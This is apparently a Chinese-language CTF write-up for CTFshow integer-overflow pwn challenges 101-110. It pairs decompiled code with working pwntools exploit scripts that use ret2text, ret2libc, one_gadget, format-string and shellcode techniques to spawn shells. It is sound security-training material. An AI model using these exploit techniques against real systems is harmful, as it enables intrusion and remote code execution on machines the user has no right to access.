pwn101

1
2
3
4
5
6
7
8
9
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/101/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
a1gorithms@A1gorithm:/mnt/hgfs/E/C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall main(int argc, const char argv, const char envp)
{
unsigned int v4; // [rsp+0h] [rbp-10h] BYREF
int n0x7FFFFFFF; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]

v6 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
puts("Maybe these help you:");
useful();
v4 = 0x80000000;
n0x7FFFFFFF = 0x7FFFFFFF;
printf("Enter two integers: ");
if ( (unsigned int)__isoc99_scanf("%d %d", &v4, &n0x7FFFFFFF) == 2 )
{
if ( v4 == 0x80000000 && n0x7FFFFFFF == 0x7FFFFFFF )
gift();
else
printf("upover = %d, downover = %d\n", v4, n0x7FFFFFFF);
return 0;
}
else
{
puts("Error: Invalid input. Please enter two integers.");
return 1;
}
}

1
2
3
4
5
6
7
上界溢出有两种情况,一种是 0x7fff + 1, 另一种是 0xffff + 1
因为计算机底层指令是不区分有符号和无符号的,数据都是以二进制形式存在(编译器的层面才对有符号和无符号进行区分,产生不同的汇编指令)。
所以 add 0x7fff, 1 == 0x8000,这种上界溢出对无符号整型就没有影响,但是在有符号短整型中,0x7fff 表示的是 32767,但是 0x8000 表示的是 -32768,用数学表达式来表示就是在有符号短整型中 32767+1 == -32768
第二种情况是 add 0xffff, 1,这种情况需要考虑的是第一个操作数。
比如上面的有符号型加法的汇编代码是 add eax, 1,因为 eax=0xffff,所以 add eax, 1 == 0x10000,但是无符号的汇编代码是对内存进行加法运算 add word ptr [rbp - 0x1a], 1 == 0x0000
在有符号的加法中,虽然 eax 的结果为 0x10000,但是只把 ax=0x0000 的值储存到了内存中,从结果看和无符号是一样的。
但是在无符号短整型中,0xffff == 65535, 65535 + 1 == 0

目标是v4 == 0x80000000 && n0x7FFFFFFF == 0x7FFFFFFF,但是下面的输入用的是int的说明符;对于int来说0x7FFFFFFF = 2147483647,0x80000000 = -2147483648

pwn102

1
2
3
4
5
6
7
8
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/102/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char argv, const char envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
puts("Maybe these help you:");
useful();
v4 = 0;
printf("Enter an unsigned integer: ");
__isoc99_scanf("%u", &v4);
if ( v4 == -1 )
gift();
else
printf("Number = %u\n", v4);
return 0;
}
1
从数字层面看看这种溢出的结果,在有符号短整型中,0xffff==-1-1 + 1 == 0,从有符号看这种计算没问题。

pwn103

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 ctfshow()
{
int n; // [rsp+4h] [rbp-6Ch] BYREF
void *src; // [rsp+8h] [rbp-68h]
_BYTE dest[88]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-8h]

v4 = __readfsqword(0x28u);
n = 0;
src = 0;
printf("Enter the length of data (up to 80): ");
__isoc99_scanf("%d", &n);
if ( n <= 80 )
{
printf("Enter the data: ");
__isoc99_scanf(" %[^\n]", dest);
memcpy(dest, src, n);
if ( (unsigned __int64)dest > 114514 )
gift();
}
else
{
puts("Invalid input! No cookie for you!");
}
return __readfsqword(0x28u) ^ v4;
}

这么看其实是用了一个比较讨巧的办法,输入0则让memcpy不产生作用;这个char dest[88]中dest本身就是一个指针/地址,通常任意64位地址都是比114514大的。所以输入0就直接能绕过检测。

pwn104

1
2
3
4
5
6
7
8
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/104/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
1
2
3
4
5
6
7
8
9
10
11
ssize_t ctfshow()
{
_BYTE buf[10]; // [rsp+2h] [rbp-Eh] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

LODWORD(nbytes) = 0;
puts("How long are you?");
__isoc99_scanf("%d", &nbytes);
puts("Who are you?");
return read(0, buf, (unsigned int)nbytes);
}

覆盖地址转到后门函数即可

1
2
3
4
5
6
7
8
9
from pwn import *
p = remote("pwn.challenge.ctf.show", 28185)
context(arch="amd64",os="linux",log_level="debug")

// size = 0xE+8+8 = 30
p.sendlineafter(b'How long are you?', b'30')
payload = b"a"*22 + p64(0x40078D)
p.sendlineafter(b'Who are you?',payload)
p.interactive()

pwn105

1
2
3
4
5
6
7
8
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/105/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char argv, const char envp)
{
char buf[1024]; // [esp+0h] [ebp-408h] BYREF
int *p_argc; // [esp+400h] [ebp-8h]

p_argc = &argc;
init();
logo();
puts("[+] Check your permissions:");
read(0, buf, 0x400u);
ctfshow(buf);
puts("wtf");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *__cdecl ctfshow(char *s)
{
char dest[8]; // [esp+7h] [ebp-11h] BYREF
unsigned __int8 n3; // [esp+Fh] [ebp-9h]

n3 = strlen(s);
if ( n3 <= 3u || n3 > 8u )
{
puts("Authentication failed!");
exit(-1);
}
printf("Authentication successful, Hello %s", s);
return strcpy(dest, s);
}

我们可以来看一下汇编,这里strlen一般是把结果放在eax上,但是这里只有al(即结果的低1字节):这意味着长度为0x104的字符串会被截断成0x04,骗过检测。所以可以利用这个点覆盖返回地址。

这个是后门函数

1
2
3
4
5
6
7
from pwn import *
p = remote('pwn.challenge.ctf.show', 28248)
success_addr = 0x804870E
payload = (b'a'*(0x11+4) + p32(success_addr)).ljust(0x104, b'a')+b'\x00'

p.sendlineafter(b'Check your permissions:',payload)
p.interactive()

pwn106

1
2
3
4
5
6
7
8
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/106/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char argv, const char envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
int p_n2; // [esp+0h] [ebp-Ch] BYREF
int *p_argc; // [esp+4h] [ebp-8h]

p_argc = &argc;
init();
logo();
puts("1.login");
puts("2.quit");
printf("Your choice:");
__isoc99_scanf("%d", &p_n2, v4, v5);
if ( p_n2 == 1 )
{
login(p_argc);
}
else
{
if ( p_n2 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}

输入2进入login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl login()
{
_BYTE s[40]; // [esp+8h] [ebp-230h] BYREF
char buf[516]; // [esp+30h] [ebp-208h] BYREF

memset(s, 0, sizeof(s));
memset(buf, 0, 0x200u);
puts("Please input your username:");
read(0, s, 0x19u);
printf("Hello %s\n", s);
puts("Please input your passwd:");
read(0, buf, 0x199u);
return check_passwd(buf);
}

输入名字和密码,密码(最大0x199字节)进入check_passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
char *__cdecl check_passwd(char *s)
{
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 n3; // [esp+Fh] [ebp-9h]

n3 = strlen(s);
if ( n3 > 3u && n3 <= 8u )
{
puts("Success");
fflush(stdout);
return strcpy(dest, s);
}
else
{
puts("Invalid Password");
return (char *)fflush(stdout);
}
}

密码长度要在4-8之间

看一下汇编,与上题一样,取了低1字节作为检测对象;同样也有后门函数:

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote('pwn.challenge.ctf.show', 28192)
context(arch='i386', os='linux',log_level='debug')
success_addr = 0x8048919
payload = (b'a'*(0x14+4) + p32(success_addr)).ljust(0x104, b'a')+b'\x00'

p.sendlineafter(b'Your choice:',b'1')
p.sendlineafter(b'username:',b'abc')
p.sendlineafter(b'passwd:',payload)
p.interactive()

pwn107

1
2
3
4
5
6
7
8
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/107/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int show()
{
char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
int n4; // [esp+3Ch] [ebp-Ch]

printf("How many bytes do you want me to read? ");
getch(nptr, 4);
n4 = atoi(nptr);
if ( n4 > 32 )
return printf("No! That size (%d) is too large!\n", n4);
printf("Ok, sounds good. Give me %u bytes of data!\n", n4);
getch(nptr, n4);
return printf("You said: %s\n", nptr);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char *__cdecl getch(char *nptr, unsigned int n4)
{
unsigned int i_1; // eax
char char; // [esp+Bh] [ebp-Dh]
unsigned int i; // [esp+Ch] [ebp-Ch]

for ( i = 0; ; ++i )
{
char = getchar();
if ( !char || char == 10 || i >= n4 )
break;
i_1 = i;
nptr[i_1] = char;
}
nptr[i] = 0;
return &nptr[i];
}

elf文件中也有syscall:

getch函数会把输入的size值当做无符号整数解析,如果输入-1,则变成无符号整数的最大值,所以说这里出现了整数溢出,输入-1即可:

然后调用printf函数泄露地址利用libc即可;我的libcseacher一直在Timeout,所以我手动找了一个libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import *
p = remote('pwn.challenge.ctf.show', 28171)
context(arch='i386', os='linux',log_level='debug')
elf = ELF(r'/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/107/pwn')
# elf = ELF(r"E:\CTF\pwn学习\CTFSHOW\Integer\107\pwn")

p.sendlineafter(b'to read? ',b'-1')

printf_plt = elf.plt["printf"]
show_addr = elf.sym["show"]
printf_got = elf.got["printf"]
# getchar_got = elf.got["getchar"]
payload = b'a'*(0x2c+4) + p32(printf_plt) + p32(show_addr) + p32(printf_got)
p.sendlineafter(b'data!\n',payload)
leak_addr = u32(p.recvuntil(b'\xf7')[-4:])
print(hex(leak_addr))

# libc = LibcSearcher('printf',leak_addr)
# libc_base = leak_addr - libc.dump('printf')
# system = libc_base + libc.dump('system')
# print(hex(libc.dump('system')))
# bin_sh = libc_base + libc.dump('str_bin_sh')
printf_libc = 0x50b60
libc_base = leak_addr - printf_libc
str_bin_sh = 0x17b8cf + libc_base
system = 0x3cd10 + libc_base

payload2 = b'a'*(0x2c+4) + p32(system) + p32(show_addr) + p32(str_bin_sh)

p.sendlineafter(b'to read? ',b'-1')
p.sendlineafter(b'data!\n',payload2)
p.interactive()

pwn108

1
2
3
4
5
6
7
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/108/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall main(__int64 a1, char a2, char a3)
{
int i; // [rsp+8h] [rbp-28h]
int j; // [rsp+Ch] [rbp-24h]
__int64 v6; // [rsp+10h] [rbp-20h]
_BYTE v7[3]; // [rsp+25h] [rbp-Bh] BYREF
unsigned __int64 v8; // [rsp+28h] [rbp-8h]

v8 = __readfsqword(0x28u);
sub_9BA(a1, a2, a3);
sub_A55();
puts("Free shooting games! Three bullets available!");
printf("I placed the target near: %p\n", &puts);
puts("shoot!shoot!");
v6 = sub_B78();
for ( i = 0; i <= 2; ++i )
{
puts("biang!");
read(0, &v7[i], 1u);
getchar();
}
if ( (unsigned int)sub_BC2(v7) )
{
for ( j = 0; j <= 2; ++j )
*(_BYTE *)(j + v6) = v7[j];
}
// dlopen在执行过程中会调用ld.so维护的一些函数指针
if ( !dlopen(0, 1) )
exit(1);
puts("bye~");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 就是读取16字节
__int64 sub_B78()
{
char nptr[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
sub_AE3(nptr, 16);
return atol(nptr);
}

unsigned __int64 __fastcall sub_AE3(_BYTE *buf, int i)
{
int j; // [rsp+18h] [rbp-18h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( j = 0; j < i; ++j )
{
if ( (unsigned int)read(0, buf, 1u) == -1 )
exit(1);
if ( *buf == 10 )
break;
++buf;
}
return __readfsqword(0x28u) ^ v5;
}

这里只能输入一次,三次输入覆盖v6的低位为one_gadget的地址(3字节足够覆盖,前5字节均一致);程序最后会调用 dlopen,dlopen 会进入 ld.so,ld.so 会从 _rtld_global 中取出函数指针并 call,我们提前把这个函数指针改成 one_gadget,所以 dlopen 会帮我们跳到 one_gadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
import re

context.log_level = 'debug'

HOST = 'pwn.challenge.ctf.show'
PORT = 28103

puts_offset = 0x80970
gadget_offset = 0x4f302

# 这里是需要继续验证或爆破的相对偏移
target_candidates = [
0x81df60,
0x81ef60,
0xe2af60,
]

for target_rel in target_candidates:
p = remote(HOST, PORT)

data = p.recvuntil(b'shoot!shoot!\n')
leak = int(re.search(rb'near: (0x[0-9a-fA-F]+)', data).group(1), 16)

libc_base = leak - puts_offset
target = libc_base + target_rel
gadget = libc_base + gadget_offset

b0 = gadget & 0xff
b1 = (gadget >> 8) & 0xff
b2 = (gadget >> 16) & 0xff

print(f'leak = {hex(leak)}')
print(f'libc_base = {hex(libc_base)}')
print(f'target = {hex(target)}')
print(f'gadget = {hex(gadget)}')
print(f'bytes = {[hex(b0), hex(b1), hex(b2)]}')

p.sendline(str(target).encode())

p.recvuntil(b'biang!\n')
p.sendline(bytes([b0]))

p.recvuntil(b'biang!\n')
p.sendline(bytes([b1]))

p.recvuntil(b'biang!\n')
p.sendline(bytes([b2]))

p.sendline(b'echo PWNED')

try:
out = p.recvrepeat(0.5)
except EOFError:
out = b''

if b'PWNED' in out:
print('success')
p.interactive()
break

p.close()

pwn109

1
2
3
4
5
6
7
8
9
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/109/pwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl sub_90B(int a1)
{
int p_n2; // [esp+0h] [ebp-40Ch] BYREF
char buf[1024]; // [esp+4h] [ebp-408h] BYREF
int *v4; // [esp+404h] [ebp-8h]

v4 = &a1;
init();
logo();
while ( 1 )
{
while ( 1 )
{
puts("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!");
__isoc99_scanf("%d", &p_n2);
getchar();
if ( p_n2 != 2 )
break;
printf_w(buf);
}
if ( p_n2 == 3 )
break;
if ( p_n2 == 1 )
print_addr_and_read(buf, 0x400u);
else
printf("What do you mean by %d", p_n2);
}
puts("See you~");
return 0;
}

print_addr_and_read(buf, 0x400u);会打印buf的起始地址,同时读400字节;后面再跳转到2时就可以格式化字符串了:

第8个参数打印buf的起始地址,buf[0:4] 对应 %16$。在buf上写入shellcode之后执行即可。

1
2
3
# 假设通过测试发现 offset = 6
# 想将 0xdeadbeef 写入地址 0x0804a010
payload = fmtstr_payload(6, {0x0804a010: 0xdeadbeef})

覆盖地址这里是个老大难(main函数的返回地址),我们来看一下汇编

根据汇编来看,main函数返回地址(进入函数前esp的地址)在经历对齐栈(and esp, 0FFFFFFF0h,就是删掉了低位1字节)和连续两次push之后(-0x4*2),ebp才来;我们动调看一下具体删了几字节:

看的出来在进main之前低1字节是0xc,所以我们写返回地址的时候需要:

offset = 0x408(buf距离ebp的距离) + 0x8 + 0xC

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
p = remote("pwn.challenge.ctf.show", 28191)
context(arch="i386",os="linux",log_level="debug")
elf = ELF(r'/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/109/pwn')

# printf_plt = elf.plt["printf"]
# printf_got = elf.got["printf"]

p.sendlineafter(b'3) Quit!!!\n', b'1')
leakaddr = eval(b'0x'+p.recvuntil(b'\n',drop='True'))
print(leakaddr)
payload = fmtstr_payload(16, {leakaddr + 0x410+0xc: leakaddr})
p.sendline(payload)
p.sendlineafter(b'3) Quit!!!\n', b'2') #再调用一次格式化字符串之后达成覆盖地址的作用

p.sendlineafter(b'3) Quit!!!\n', b'1')
payload = asm(shellcraft.sh())
p.sendline(payload)
p.sendlineafter(b'3) Quit!!!\n', b'3')

p.interactive()

pwn110

1
2
3
4
5
6
7
8
9
10
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/110/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
1
2
3
4
5
6
7
8
9
int __cdecl __noreturn main(int argc, const char argv, const char envp)
{
init(&argc);
logo();
puts("1+1= ?");
input();
while ( 1 )
puts(str); // "WTF?"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int16 *input()
{
__int16 p_n1024; // [esp+Ah] [ebp-41Eh] BYREF
_BYTE buf[1025]; // [esp+Dh] [ebp-41Bh] BYREF
unsigned __int16 p_n1024_1; // [esp+40Eh] [ebp-1Ah] BYREF

strcpy(buf, "???");
memset(&buf[4], 0, 102
1);
__isoc99_scanf("%hd", &p_n1024); //很少见到这个说明符 half-d 占2字节
if ( p_n1024 > 1024 )
{
puts("You are soooooooooo ******");
exit(0);
}
p_n1024_1 = p_n1024;
printf("%x %u\n", buf, (unsigned __int16)p_n1024); //打印buf地址 输出p_n1024
read(0, buf, p_n1024_1); //输入多少字节就读多少字节
qmemcpy(
str,
buf, //拷贝400字节 从buf到str
0x400u);
unk_804B460 = buf[1024];
return &p_n1024_1;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p = remote("pwn.challenge.ctf.show", 28279)
context(arch="i386",os="linux",log_level="debug")
# elf = ELF(r'/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/110/pwn')

p.sendlineafter(b'1+1= ?\n', b'-1')
leakaddr = eval(b'0x'+p.recvuntil(b' 65535',drop='True'))
print(hex(leakaddr))
offset = 0x41b + 0x4
payload = asm(shellcraft.sh()).ljust(offset, b'a')
payload += p32(leakaddr)
p.sendline(payload)
p.interactive()